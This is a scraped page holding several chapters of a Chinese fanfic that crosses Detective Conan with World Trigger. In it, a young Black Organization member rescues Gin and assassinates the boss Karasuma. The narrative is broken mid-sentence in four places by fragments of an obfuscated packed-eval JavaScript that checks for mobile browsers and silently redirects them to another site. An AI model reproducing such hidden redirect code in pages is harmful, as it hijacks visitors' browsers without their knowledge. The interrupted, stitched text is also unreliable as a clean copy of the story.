l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293720|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' bug出现,但在这个年代也已经足够厉害了。WT那边是借助了Trion,能做到那个程度不奇怪,但在科学侧的柯南世界是怎么实现这个技术的呢。”我跟系统探讨道。 “柯南正片里已经能做到和Border一样的程度了。不要纠结这里的科技发展速度,小灵通的年代出现这个已经够匪夷所思了。”系统解释道:“不过这个异常本身也很值得研究。” 我把玩着无线电,又跟系统说起了我心心念念的代号:“统,你说我到底什么时候才能拿到代号啊?Boss审核有这么严格吗?那怎么能在同时期出现三瓶新酒呢?对了,波本他们花了多久才拿到了代号?” “……一年,从加入组织到成为代号成员。” 人最怕的就是比较。 “他爹的我十岁加入组织,在这里训练了足足五年,正式出任务大半年,都没拿到代号!凭什么波本他们能在一年里光速拿到代号啊!”我天塌了,“难道一个从小在组织里长大的成员还不比那些靠碰瓷加入组织的值得信任吗?!” “啊哈哈,你别激动,也许你很快就能有代号了呢?”系统尬笑着安抚我。 “乌丸莲耶!你给予我的耻辱我绝不会忘!我一定会报复你的!”我恶狠狠地想到。 “听起来好像一个预备杀人的米花人……”系统吐槽我的台词。 “唯一值得我期待的就是我会得到什么样的代号。”我对这点还是很好奇的,大家的代号听起来都很高级,我也想要高级的代号。 ——要是乌丸莲耶不给我一个好听的代号,我就刀了他再给自己一个新代号,嘿嘿。 “我听大家的分析说是Boss起名都是有隐喻的?我对酒倒是一窍不通。”我想起某次我偷喝琴酒的酒——简直难喝吐了——然后被他嘲笑我是小孩口味的事。 小孩口味怎么了!我爱喝牛奶我长得高! 不来烟不来酒又怎么了嘛,良好的生活习惯让人长寿不知道吗! 啊对,还有抽烟这回事。 本着要当反派凹造型的心态,我当初薅了琴酒一根烟,然后被呛得眼泪直流。 可恶,让他嘲笑的素材又多了一件。 没关系的!不抽烟不喝酒我也可以当好反派的! 不过我确实很难忍受烟味。 自从琴酒开始在我面前抽烟后,我不得不想方设法地阻止他,手段包括但不限偷藏他的烟盒,偷藏他的点烟器和直接掐掉他的烟。当然,没少挨打,因为手法还不熟练的时候经常被他发现。 我越挫越勇,不抛弃不放弃,啊不是,然后就此练成了妙手空空的技能,能熟练地偷走琴酒身上的各种东西。 又一次斗智斗勇地抗争成功,琴酒现在很少在我面前抽烟。 果然,美好未来是要用双手挣出来的啊! 我胡思乱想着,时不时瞅一眼合作对象,他半点动静没有,很难让我不怀疑他会不会悄无声息地嘎掉,徒留我无缘无故要被扣个杀害合作对象的帽子。 我盯着他仍在起伏的胸膛,放下心来。 “交易结束。回来吧。”漫长的等待后,琴酒的声音终于传来。 我如蒙大赦地站起身来:“那么,就此别过。”陪我一起等的人也同步收到了消息。 我警戒地离开小树林,确认没人跟踪后,又去厕所换回‘当归苓’的装扮,最后和哥哥一起离开游乐园。 16. 第十六章 作为我16岁的生日礼物,我终于得到了朝思暮想的代号:利莱酒。 “大哥,今天真是个好日子呢!我长到了1米63还升职了!”我一大清早就不请自来地撬进了琴酒的安全屋,开心地跟他分享喜讯。 正在做饭的他见怪不怪地问我要不要吃饭。 我自然是一万个愿意,有人给我提供早餐怎么能说不呢。 自从我前几周学会了开锁这项技艺后,我就时常把琴酒的无数已知安全屋当作练手对象。 最初他还应激地要把我打成筛子并且频频把我丢出门,但我就跟打不死的小强一样,一次又一次地爬回他屋里,发现我只在那几个安全屋里来回窜之后,他现在已经能无视我的行为,泰然自若地邀请我吃早饭了。 这一现象说明了人的适应力确实很强。 当然了,我也不是经常能搏到琴酒在家的,毕竟他还有其它的安全屋。至于被我知道的这几个在他眼里可能已经不算安全屋了,算我跟他见面的据点,来一次就要做好我会在的心理准备。 吃饱喝足后,琴酒又给我端来了一盘小蛋糕。 我不可置信地望着他,“统!我是不是出现幻觉了!琴酒是在给我庆祝生日吗!?” “以往他都不会给你小蛋糕的加餐吧。”系统也有些惊讶。 不管是不是,我直接把他的意图往这上面靠好了。 我以要掀翻屋顶的声调叫道:“大哥!这难不成!是给我的生日蛋糕吗!!”我像小狗一样围着他打转。 “安静点。”他皱眉责备道。 “随你怎么理解。”他没否认。 “大哥你对我真好!”我泪眼汪汪地看着他:“这还是我第一次收到生日蛋糕。”我小心翼翼地叉下一块,仔细品尝着。 “真好吃!大哥我会一生都追随你的!”我珍惜地吃着小蛋糕,发出了毒唯预备役的声音。 “吃完去做任务。”琴酒一如既往地在当劳模,像是想起了我给他分享的信息,他缓缓给我补上新称呼:“利莱酒。” “啊?哦!知道了大哥!”我一时还没反应过来这是我的代号。 好好地把蛋糕吃的连一点残渣都不见,我愉快地去出利莱酒的第一个任务。 * 转眼到了冬天,我和琴酒被指派了一个在日本的叛徒追杀任务。 那个叛徒原本在朗姆手下工作,据说还是朗姆一手提拔的,结果说背叛就背叛了,跑路前还带走了重要情报。 于是就轮到我和琴酒出场了——抹杀叛徒以及夺回情报。 根据朗姆的消息,那个叛徒,古贺勇太,在叛出组织前一直负责对接跟雪骸组的业务,而且接触密切,然后一天前曾出现在北海道,也就是雪骸组的大本营,并进入了组织的安全屋里。 我和琴酒搜查完他最后的落脚点,却没什么特别的发现。 “这个人还挺有反侦察意识的。”我对着没有线索的屋子沉思,旋即察觉到了矛盾之处:“大哥,不对啊,要真是这样的话,他又为什么非要用组织提供的安全屋?他没意识到他已经暴露了吗?这也不可能……那就是故意给我们下套?” “可能是折回来拿重要的东西,也可能是引诱我们上钩。”琴酒一一核对着遗留在这的文件,“接下来的行动小心点,一定有人在协助他。” 我顺着他的话发散:“大哥你是说雪骸组?可他们为什么费尽心思要挖我们的角?图什么?” “不知道。总之别掉以轻心。”琴酒嘱咐道。 “大哥,我们接下来要去哪里调查?”我感觉我们简直是在大海捞针。 琴酒沉吟了片刻,给出初步的方向:“既然他来北海道看起来像是要和雪骸组接头,那就先让外围成员打探一些关于雪骸组的消息,比如有没有新面孔。” 他正在编辑任务时,朗姆的新情报来了——古贺勇太在雪山上租了个别墅。 * 我们跟随着指引来到一座雪山的山脚下。 我望着银装素裹的一切,用望远镜很仔细地查找才发现了半山腰的零零散散的几栋别墅。 “大哥,怎么办?要潜进去搜查一番吗?” “不。先盯梢几天观察下有没有人出入。”我们找到一家最靠近那座山的温泉旅社暂住下来。 “你盯着这个出入口,我去山上探探地形,必要时用炸弹引发雪崩。”琴酒布置任务道。 两天过去,一切都静悄悄的。 “大哥,情况不妙啊。”我忧心忡忡地道。 “今晚我们分头去埋炸弹。我白天还在路上做了点标记,趁它们还没被完全掩埋你赶紧出发。”琴酒把山的左边部分交给我,自己去比较靠近别墅的右边部分:“无线电联系。” 我不敢耽搁,带上必要的装备就上山了。 天色暗沉,白茫茫的雪地让我丧失了方向感,我按着记忆中的路线行进,一踏就是一个深坑。 走了许久我也没找到琴酒说的标记。 正当我怀疑人生之际,无线电响了:“利莱酒,撤退!是条子!”琴酒简短的几句话让我的心瞬间沉了下去。 那个叛徒是和日本公安合作了。 他们联合起来埋伏到了琴酒。 意识到这点,我立刻跟系统确定别墅的所在地,马不停蹄地赶过去。 “从这里用狙击枪就能看到他们了。”系统及时跟我汇报。 我利索地爬上一棵大树,架起狙击枪。 琴酒浑身是血地还在负隅顽抗,十几个公安将他团团包围。 我当机立断地扣下扳机帮琴酒减轻压力。 我专注于瞄准琴酒背对的敌人,试图帮他在包围圈里撕开一个口子。 那些公安察觉到了我的方向,分出了些人手朝我这边赶来。 我顾不得狙击精度,拼手速地努力把普通的狙击枪使成Lightning,不打到琴酒就好了。 那些公安接连卧倒在雪地里,暂时停止了对琴酒的追捕。 幸好琴酒争气地抓住了我制造的机会,我等到琴酒的身影差不多消失在丛林里了才停止了连续射击。 冲我来的那些公安逐渐靠近,我直接往正前方几十米的地方密集地丢了几个炸弹。 弥漫的浓烟和塌陷应该能拖住他们的步伐。 我迅速把装备都先收到系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293721|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统背包里,换装成Trion体后,借助Grashopper飞快逃离现场。 现在没时间把脚印也完美善后了,就当作是个千古谜案吧。 我感觉自己已经用Grashopper绕山一周了,怎么还不见琴酒? 我焦急地搜寻着,终于在一望无际的白色中看到了一点红。 我收起Grashopper,循着血迹一路跑过去,然后发现了奄奄一息的琴酒:“大哥!” “……利莱酒,不是叫你撤退吗。”他还保留着一丝清醒,勉力扯出个笑。 我粗略检查了下他的枪伤,腹部、背部、四肢都有——真是难以想象他居然还没痛晕过去。 “大哥!不要睡!我立刻带你去医疗点!”我把紧急救生毯裹在他身上再小心翼翼地把他抱起——简直就像抱起了一个冰块,他已经严重失温了,不能再耽搁了! “你自己走……”他气若游丝地道,“他们会封山。” 我咬咬牙,如果用Grashopper的话说不定还赶得上:“大哥,接下来的事你可要为我保密啊。我可是为了救你啊。”快速长距离跳跃时的风把琴酒的长发吹得像是狂舞的银蛇,他意识到我们正在以不合常理的速度前进。 我一路跳跃到山脚下,这还是我第一次这么频繁地使用Grashopper,刷了不少赶路的熟练度。 我用另一个救生毯盖住座椅后,把琴酒放入保时捷的副驾驶。 正给他的伤进行紧急处理,就见他翻出炸弹遥控器摁了下去。 远方的山上传来一点闷响,然后雪崩了。 “去札幌的医疗点。”在暖宝宝和救生毯的包裹下,琴酒惨白的面色终于看起来正常了点,也有力气继续指挥了。 “车程还要三四个小时,大哥你撑得住吗?”我担忧地问。 “撑得住。” “好吧。不过我们是要放弃任务了吗?”我越开越快,试图缩短一些车程。 “哼。”琴酒冷笑道:“我已经杀了那个叛徒。” “哦——!真不愧是大哥!”我真情实感地赞叹道,在那种情况下居然还能完成任务,“大哥,到底发生了什么?他们埋伏你了吗?”我追问着过程。 “埋完炸弹后我找到一个能观察到那个叛徒的位置。成功狙杀他后,碰见了几个日本公安。”琴酒复盘道:“这是早有预谋的行动,古贺勇太给他们提供了情报。他们一直在守株待兔,在蹲前来灭口古贺勇太的组织成员。” “我前几天上山的痕迹估计被他们发现了。”琴酒分析着自己为什么会被伏击。 “原来是这样。我们没赶上下雪的时候,痕迹没能被覆盖掉。” 我忍不住跟系统感叹:“琴酒他简直是超人啊!我估计他最开始被发现的时候还多少反杀了那些日本公安,之后才被增援困住。而且他还没忘了通知我逃跑,他真是个好领导。”我用肉身肯定做不到他那种程度,只能用上Trigger开挂才有可能逃出来。 幸亏琴酒把相较简单的部分交给我了。 “为什么来救我。” “我不是说了要一生都追随大哥吗。” 17. 第十七章 顺利抵达札幌的医疗点,我坐在手术间外面按照琴酒的吩咐给朗姆发消息:叛徒已处决,大哥遭遇日本公安的埋伏,负伤救治中,重要情报你自己想办法解决。 我收起手机,打算去把这身像是在鲜血里浸泡过的衣服换下来。 从雪山逃出来之后我就解除了Trigger变装,琴酒的血自然会把我的衣服弄得脏兮兮的。 痛快地洗了个澡把自己恢复清爽状态,我又出门觅食去了。 大晚上的在雪地里长途跋涉那么久可把我给饿坏了。 在一家小店里解决了早餐的我还顺便在收音机里听到了情报——那座雪山突发雪崩,搜救队正积极搜救中。 反应的速度这么快,应该是他们待机中的公安同事吧。 ——还是早点回东京吧。 我回到据点,琴酒的手术已经结束了,医生跟我嘱咐道:“再有两个小时,麻醉就过去了。记得勤换绷带,静养几个月不要剧烈活动,然后饮食清淡些。” “好的医生。”我就像是每一个认真听医嘱的家属般应道。 坐在琴酒的床边的我无所事事地盯着他顺滑的长发,一个邪恶的点子突然涌上心头——这可是为数不多能碰琴酒头发的机会啊!反正他是病患,动手也伤不到我,嘿嘿,这个死我先作了再说! 我露出邪恶的笑容,伸出罪恶的手。 琴酒醒得比医生预计得早了半个小时,彼时的我才刚刚闭眼十几分钟。 果然是很有抗药性。 我伸了个懒腰,把轮椅搬到床边:“走吧,大哥,我们得回东京了。” “我只是受伤了,不是废了。”他拒绝道。 “诶呀,大哥,医生说了要你静养。”我眼疾手快地抱起他:“你放心!我一定会好好照顾你的!”我信誓旦旦地保证道。 琴酒眼不见心不烦地随我去了。 “你笑得多少有点不怀好意了。”系统替琴酒吐槽道。 “我警告你别污蔑我啊。” 我用轮椅把人运到车里,又把运输工具放进后备箱之后,刚坐到驾驶座,就听见旁边传来一道阴恻恻的声音:“解释你干的好事。” 我一副不明所以地模样看过去,装傻道:“啊?大哥你指什么?” “我的头发!”琴酒咬牙切齿地示意垂到他身前的几个小辫子。 “啊——那个吗?我花了好久才编好的!哼哼,好看吧!”我得意地介绍自己的作品:“大哥你不满意吗?嫌三股辫太简单了嘛?我回去一定学一个更复杂的发型,下次再给大哥编。”我自顾自地不留气口地说道。 “你给我等着!”琴酒恶狠狠地给了我一记眼刀。 我窃笑道:“等大哥你养好伤了再说吧。” * 我过上了名为看护琴酒实则放假的生活。 琴酒真是个令人省心的病患,我每天的任务就是给他带食物,除此之外他都能自理。 于是闲下来的我一时不知道该干什么了。 “统,该铺垫暗杀行动了。”我决定着手实现我的终极目标。 “虽然不知道琴酒现在有没有权限见到Boss,但先开始追踪他吧。”我开始思考要怎么不被发现地定位他。 我翻看着所有的Trigger,挑出了一些或许能派上用场的:“Chamelion和Grashopper肯定需要……” “隐身的话,你觉得我直接坐在琴酒的车里而不暴露的概率有多大?” “几乎不可能。Chamelion只是让你隐身,可不会把你在座椅里压出的凹陷也一同隐身,琴酒很快就能察觉到不对劲的。”系统驳回了这个简单粗暴的方案。 我叹了口气:“也对。再说我也不能时时刻刻都把自己藏在琴酒的车里。万一他开车去接我,我还要不着痕迹地先从他车里出来再装作一副刚出门的样子。不现实的方案。” “这么一想的话,果然还是装个定位器再偷偷跟踪比较靠谱吧。”我摸着下巴,勾选了一个名叫Starmarker的选配Trigger,我记得这个Trigger能够在子弹命中位置留下记号。 系统作为我的操作员自然能够接收到Starmarker的信号,只是不知道这个信号能持续多久。 嘛,总而言之,先试试。 “统,你说我在什么东西上打一个Starmarker不会被琴酒敏锐地察觉呢?”我苦恼地道:“而且我还得用Trion子弹打,对吧?” “哈哈,我也不能直接给琴酒的车开一个洞。”我垮着一张脸说道。 “有什么东西是能被他随身携带或者他会放在车里的呢?”我沉思着,“配饰?烟盒?枪?打枪太危险了。” 系统肯定了这个方案的可行性:“不过你得试着把Hound切割得越小越好。” “啊——真考验的我的Trion操纵能力。我还得练习这个。”不一会儿我又给自己找了一堆能做的事。 “送个什么样的东西比较好呢。”为这个事儿我又陷入了烦恼。 * “大哥,这是送你的礼物。”次日探望琴酒时,我笑吟吟地递给他一个礼盒。 他没有任何动作地看着我。 我露出一点不好意思:“……是生日蛋糕的回礼啦。”我把礼盒塞他手里。 “手套?”他把一双黑色的皮手套拿出来,上下端详着。 “对啊,我挑了很久呢。想送些实用的礼物就想到了手套。”我强调道:“大哥你一定要用哦!”然后我一副刚想起来的样子:“啊!为了避免大哥把它放着落灰,我已经把你其它的手套统统都回收了哦。” “你这家伙!”琴酒额头上好像具象化了一个表示恼火的十字路口。 我笑眯眯地道:“一定要用哦,大哥,不然我又要使出我的绝招了。” “知道了。”他没好气地对我说。 达成了目的的我满意地退出房间。 我可是很努力地操纵着Hound只烧掉了标签哦,琴酒你可一定要戴着它到处跑啊。 “统,目前信号接收正常吧?” “没问题。” 平淡无波的日子过去,属于利莱酒的单人任务也变多了起来——需要自己动脑研究怎么杀人的体验实在是太糟糕了。 我一方面怀念只需要听琴酒命令的日子,一方面又高兴琴酒独自出行的机会增多,总有一天我能蹲到他去面见Boss。 不过这天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293722|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然还没来,因为我和系统始终没检测到琴酒的坐标出现在一些值得怀疑的地方,这意味着我的暗杀计划可能要推迟了。 值得庆幸的是Starmarker的Trion反应始终存在。 只要琴酒一直在用那双手套,我早晚能找到乌丸莲耶的藏身地。 又蛰伏了半年,我突然听到了系统带来的好消息:“检测到琴酒出现在可疑地点。” 可喜可贺,我那天正好提前做完了任务。 “在日本境内?”我赶紧开着车往雷达显示的地点去。 “是。就在东京的一片深山老林里。” “还真是灯下黑啊。抑或是狡兔三窟?估计他不会在这个地点停留太久。”我决定今天就立刻动手,宜早不宜迟。 再说了,下次我可不见得能有空闲,到时等我赶到时,估计都人去楼空了。 “建议你把车停在市区的最边缘,之后用Trion体潜行。” 我开着Chamelion借助树杈赶路。 琴酒的保时捷356A停在那栋别墅前,我四处搜寻着能供我悄无声息潜进去的出口,然后发现门窗基本都上锁了。 老家伙还真是贪生怕死,这么严防死守。 也对,他不怕死的话就不会让人研究APTX4869了,我嘀咕着。 怎么办呢?我绕着别墅转了几圈,确实没找到可钻的空子,不由得站在门前发愁。 到底是趁琴酒离开的时候从门缝里钻进去呢,还是撬开阳台的门呢? 撬门的话,多少会有动静啊。 算了,还是等琴酒走了再动手吧,不然我还得想办法瞒过琴酒。 我站在门口,一动不动地假扮木头人。 这一等就是大半天,直至日暮西山,大门才终于打开。 琴酒,朗姆,贝尔摩德鱼贯而出,然后分道扬镳。 是什么年终汇报吗必须要集齐三大最信任的干部?我腹诽着,脚下也不耽搁溜进了屋内。 屋内静悄悄的,尽管我尽力放轻了脚步,可还是有声音在寂静的室内回荡。 “统,你能检测到乌丸莲耶在哪吗?”我不想像无头苍蝇一样挨个房间挨个房间地搜索。 我看着这栋别墅里稀少的生活痕迹,最坏的猜测涌上心头:“啧。这老家伙不会谨慎到根本没出现吧。” 那不就竹篮打水一场空了吗。 我发现自己在这种情况下根本没法找到乌丸莲耶,不禁焦虑起来。 狡猾的老家伙有可能藏在世界上的任何角落。 ——除非我能把他引诱出来。 可是没有足够分量的诱饵! 他在乎的是长生不老,听说原著里有提到一个叫人鱼岛的地方,但乌丸莲耶也只是派琴酒他们去一探虚实,而自己根本没露面。 我更不可能拿A药来当鱼饵,光是等A药被研发出来我就还要再等十年之久! 再说,我根本没法肯定上钩的到底是不是乌丸莲耶本人,他找个影武者,又能继续苟下去了。 该死的,这不就是死局吗!怪不得柯南二十多年都完结不了,因为青山根本没想好这样塑造出来的乌丸莲耶会在什么样的情况下亲自现身吧。老不死的缩头乌龟! 18. 第十八章 “别怕,你万能的系统来了!”宛若天籁之音,系统的存在稍微让我冷静了些。 “乌丸莲耶确实没出现。”系统证实了我最坏的预想。 “我们先撤离再从长计议。”我当机立断就要离开,不料漆黑一片的大厅忽然亮起,我看见‘KARASUMA’的字样在中央的屏幕里浮现。 我呼吸一窒,早该想到他装了监控的! “不知名的客人,我很好奇你是怎么找到这里并潜入进来的。”他从容的声音顺着设备传播过来。 一听他这么胜券在握,我的理智瞬间回笼。 呵,拼技术是吧,你拼得过未来科技? “统,你能反向追踪到他的地理位置吗?” “嗯,在京都。正看着摄像头,一副游刃有余的样子呢。”系统给我实时播报道。 我直接让系统引爆我之前在别墅各个位置埋下的预置弹。 “他那边看不到你了。”等系统确认后,我唤出Meteaora将这栋别墅炸成废墟,确保这里的电子设备统统失灵。 “走,我们去京都。” 驱车赶往京都时,我解除了变装,随意吃了点东西用于回复Trion。 我可不想发生因为Trion不足而突然在战斗中解除变装这种事,长时间使用Chamelion也是挺消耗Trion的。 “统,帮我拦截乌丸莲耶发出去的所有消息,不要让他联系到别的组织成员。啊对,记得制造他成功把信息发出去了的假象。”我让系统一直盯着乌丸莲耶,我可接受不了再扑一次空。 夜晚时分的车流不多,我得以卡着限速缩短了些时间。 毫不意外的,乌丸莲耶的第二藏身点又是在渺无人烟的地方。 “统,你能不能通过乌丸莲耶发的所有邮件模仿他的语气?”我朝系统确认着,以决定接下来的行动方针。 “可以,我现在也已经能把Trion体的建模换成乌丸莲耶的样子了。” “统,有你真是太令人安心了!”我立刻改成单刀直入的袭击。 “Meteaora。”我一股脑地冲眼前的别墅丢了好几个爆裂弹,塌陷时扬起的尘土令我无法在断壁残垣中迅速找到乌丸莲耶。 我拿出准备好的红外线生命探测器,把Hound调成视线诱导模式散开,一步步靠近废墟。 到处都探过一遍,可是却没有人型的热成像出现。 我思考着他会从什么方向逃走,地面上有我看守,不可能错过他,那就是……地下?暗道吗? 我再次用炸裂弹四处轰炸,炸出个地道。 老家伙逃命的速度倒挺快。 我开启夜视后,直接用Grashopper加速追击。 密道联通到一个地堡,我在那发现了正要躲进去的乌丸莲耶。 死死盯着他的身影,我发动Hound。 Trion子弹像一道道光束落到乌丸莲耶的各个身体部位。 因着防流弹设计,他身上并没有被开很多个洞,Trion子弹打在人体上的效果只是将他击昏过去。 我对着躺倒的身影打空了弹匣才走近。 换了新的弹匣,我又对准他的头和心脏补刀。 对待组织Boss的尸体,我必须慎重处理,以防他死而复生。 我轰开地堡的门,试图在里面找到汽油。 我当然不敢落下他的尸体,但是也不想上手碰它,于是我用Spider生成绳索将他捆起拖在身后。 凡是我走过的地方,后边都有一条蜿蜒的血迹。 嗯,现在的我很像恐怖片里的变.态.杀.人狂了。 我在地堡里探索着。 乌丸莲耶还真是准备齐全,食物,衣物,电子设备,武器应有尽有。 我打开下一扇门,映入眼帘的简直像科幻电影里的场景:一个个大型的透明试管里装着一具具身体和绿色的溶液。 我不禁咋舌,还搞上克隆人了。 我掏出Lightning将其纷纷打破,仿佛是在玩什么打中一定数量的气球就能赢奖品的游戏。 流淌一地的溶液弄得这里像是被水淹了一样。 确定破坏所有玻璃柱之后,我才有心情去看控制中心。 跟我想的大差不差,都是乌丸莲耶给自己制造的备用身体。 我还特意翻看了启用记录,空荡荡的。看来他对这项技术还没那么放心。 我在打碎它们的时候也没发现空的试管,进来时地上也没有可疑的、湿漉漉的痕迹。 他应该还没来得及复活到新身体里吧? “统,你仔细检查一下这个控制中心刚刚有没有被使用过。”我把那些身体都用Spider绑好,准备一会儿全拖出去火化了。 “确定没有痕迹。”系统令人安心地回答道。 我破坏了控制中心后,拖着一群负重艰难地走出门。 回头望着那密密麻麻的丝线,我有一瞬间感觉自己是站在游乐园门口卖气球的人。 幸好乌丸莲耶就把汽油放在比邻的房间。 这里是他的车库,我看见好几辆古董车。 我比较了下走廊的宽度和车库里的空间,决定还是在走廊上烧了完事,免得引发车子爆炸。 我用Spider把一桶桶汽油拽过来,我恍然间好像有点明悟这个Trigger为什么起名叫Spider了,是有点点像蜘蛛侠的蛛丝。 从不断的拖拽行为中获得灵感,我突然想到也可以这样直接把萩原研二他们那的炸弹拖出来! 然后用Grashopper把它弹到空中再炸掉不就行了吗! 等我回去多练练这个操作就能成功救济啦。 又想通了一个难题的我心情愉悦地给尸山泼上汽油。 为了避免烧着烧着突然有人爬起来往外跑,我在走廊的两边都用Spider封了路,密密麻麻的丝线保证能拦住诈尸的那个人。 Spider,意外地好用啊。 我退到安全距离对着尸山开了两枪。 猝然爆发的火光把我闪得眯眼。 我盯着跳跃的火焰盯得入神。 直至尸山变为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293723|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆灰烬也没发生有火人窜出来的现象,真是可喜可贺。 这下乌丸莲耶死得透透的了,我伸了个懒腰,折回全是电子设备的那一屋。 “统,你黑进去读取所有文件了吗?”我在台式电脑上边玩蜘蛛纸牌边陪系统工作。 “好了。” “他们联系的频率是?” “一个月一次。” 我看着一局结束后的庆祝动画,规划道:“还不算频繁。一个月后给琴酒,贝尔摩德和朗姆群发一条信息吧。大致内容就是要静养,减少汇报次数,减到两年,不,三年一次吧。”我也懒得经常装成乌丸莲耶跟他们视频。 “然后给他们划分一下新的职责范围。贝尔摩德全权负责美国的事务,琴酒任命为日本的行动组负责人,朗姆一如既往管他的情报部。”我掰着手指数了数组织的几个部门,“啊,还有个科研部,但是乌丸莲耶应该不会轻易交到别人手上,所以还是我们管,没什么问题。” “等雪莉回来了就让她接手她母亲和父亲的研究。不过除此之外我要减少关于长生不老的研究,可是怎么样才能不被察觉地调整呢……”我思考着。 “可以往上传意识的方面走,增进组织在IT方面的研究。”系统给我出招道。 “对啊!刚好也能体现Boss对生物技术的失望,所以转向赛博永生。”我美滋滋地道:“这样就能多少避免一些人体实验了。” 我打算给武器研发部多拨点资金:“给琴酒整点好用的武器。还有什么小型的窃听器,追踪器,都给安排上。” “OK,记下了。” “那我们走吧。”我把电子设备统统关机。 虽然往后估计不会再来,但是以防万一还是保留这个地堡吧。 我站在地堡被破坏的门前,对于该怎么封门这件事感到犯难。 “用Escudo吧。”系统迅速给我配置了Trigger。 我发动Escudo,看着从地面长出来的实体护盾严丝合缝地封死地堡入口后,顺着地道返回。 当然,我也没忘了把地道给封死,又接连建了几道Escudo,我感觉Trion一下被消耗了很多。 “果然是老旧的Trigger,不像休斯一样有角的加持还是比较吃力啊。也有可能是因为刚刚用了太多Spider的缘故。”我把地道入口伪装成废墟的模样后解除了变装。 坐上车,我读着系统弹出的任务面板,终于有种尘埃落定的感觉。 终极目标【杀死乌丸莲耶】已经被打勾划去。 “要设立一个新的最终任务吗?”系统问道。 “当然啦!”我踩死油门,在山野间疾驰,忍不住畅快地大笑。 我感觉自己像是踩着轻飘飘的云,轻松极了。 ——我自由啦! 兴奋的状态在逐渐靠近市区时褪去,我想好了我的新目标。 “统,接下来的时间里,我想当个随心所欲的人。” “好,已设立新的主线任务。” 我盯着任务面板上的新字眼,又忍不住笑起来。 19. 第十九章 那一日过后,我开始肆无忌惮地摸鱼。 “大哥,我觉得我们现在的任务强度太不合理了!我要罢工!我要休假!”给琴酒留下这句话后,我一溜烟地以‘当归苓’的身份跑出国旅游了。 【给我等着。】 看着琴酒发来的消息,我笑嘻嘻地回了个挑衅的信息。 【略略略,大哥你来抓我呀。一个月内你抓到我,我就继续努力工作,不然我要过两个月只接一个任务的生活!怎么样?大哥你要接受这个挑战吗?】 【等着过被压榨的生活吧。】 嚯,琴酒居然还会跟我开玩笑。 听着登机的通知,我赶忙收起手机上了飞机,可不能刚开始就被抓到。 就这样,我跟琴酒玩起了捉迷藏游戏。 真是一场胜负已定的游戏,嘻嘻。 我靠着还留在琴酒手套上的Trion反应,每次都像滑不溜秋的泥鳅一样躲开。 不过我也不敢做得太明显,免得他察觉到我能定位他,于是有好几次我都是跟他打了个照面后再溜走。 当然啦,频繁的追杀活动只在琴酒还有些空闲的时候上演了。 一个月后上任日本行动组负责人的琴酒更是忙得团团转。 而我在全球旅行后,过着休闲的生活。 跟琴酒形成了鲜明的对比。 琴酒是个信守承诺的人,他如约地在两个月后才给我发来了新的任务。 琴酒是个思维敏捷的人,我看着他给我派的高难度任务,直接杀上门找他理论去了。 琴酒是个不可理喻的人,无论我怎么跟他辩论,他都只是冷笑着不肯给我换个简单点的任务。 “利莱酒,假期还没过够的话,我直接送你去长眠怎么样?” 我是个见好就收的人,感受到了他连轴转的浓浓怨气,乖乖妥协了。 再逼下去,他可能会想办法让我每个月接这么个高难度的任务。 “我知道啦,我很情愿帮大哥分担你的任务的。”我卖乖道。 “哼。做任务去吧。” * 【名字:当归苓】 【年龄:18】 【身高:170cm(恭喜你获得了理想的身高)】 【体质:8/10(成为超人指日可待)】 【力量:8/10(表演碎大石的好苗子)】 【敏捷:9/10(身影快如鬼魅)】 【耐力:8/10(欢迎参加马拉松)】 【Trion:13/?(通过锻炼每年稳定地提升了1点呢)】 在我成年的那一天,我彻底认同了‘当归苓’这个名字。 与此同时,我做出了一个重大的决定——我要负担起另一个生命了! 正当我要出门的一刻,我在门口发现了一个手掌大小的、墨绿色包装的礼物。 我摇了摇盒子,又附耳倾听,没听见什么可疑的声音。 知道我这具身体真实的生日的人不多。 也就一个。 我小心翼翼地拆开,尽量连包装纸也不破坏。 我看着手里的雪花项链出神。 好半晌,我才艰难开口:“统,你说……这,不会是琴酒送给我的成年礼物吧……” 系统也沉默了:“……要不你当面问问?” “既然是悄悄送过来的,那他会承认吗?”我把项链戴在脖子上。 摩挲着只有指甲盖大小的雪花银饰,我拎起属于‘当归苓’的装备,匆匆驱车前往我们的据点。 远远望见那辆黑色的保时捷356A,我以入室抢劫的气势冲进去:“大哥!我一定会想出一个令你满意的回礼的!”然后又风风火火地走了。 琴酒刚翻过一页文件,就见我来势汹汹地来又像龙卷风一样迅速刮走。 